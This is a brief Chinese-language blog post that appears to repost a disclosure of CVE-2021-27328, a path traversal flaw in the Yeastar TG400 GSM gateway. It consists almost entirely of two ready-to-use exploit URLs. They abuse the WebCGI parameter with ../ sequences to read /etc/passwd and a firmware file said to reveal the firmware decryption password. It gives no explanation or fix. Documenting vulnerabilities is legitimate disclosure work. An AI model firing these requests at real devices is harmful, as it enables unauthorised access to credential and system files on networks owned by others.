CVE-2021-27328_Path_Traversal_on_Yeastar_TG400_GSM_Gateway_-_91.3.0.3漏洞

棉花糖

2021年7月15日发布

010

# CVE-2021-27328 Path Traversal on Yeastar TG400 GSM Gateway – 91.3.0.3漏洞
==INFO==

## Example
* to get  firmware decrypting password

```
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect
```
* to get /etc/paswd

```
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd
```

文章版权归作者所有，未经允许请勿转载。

THE END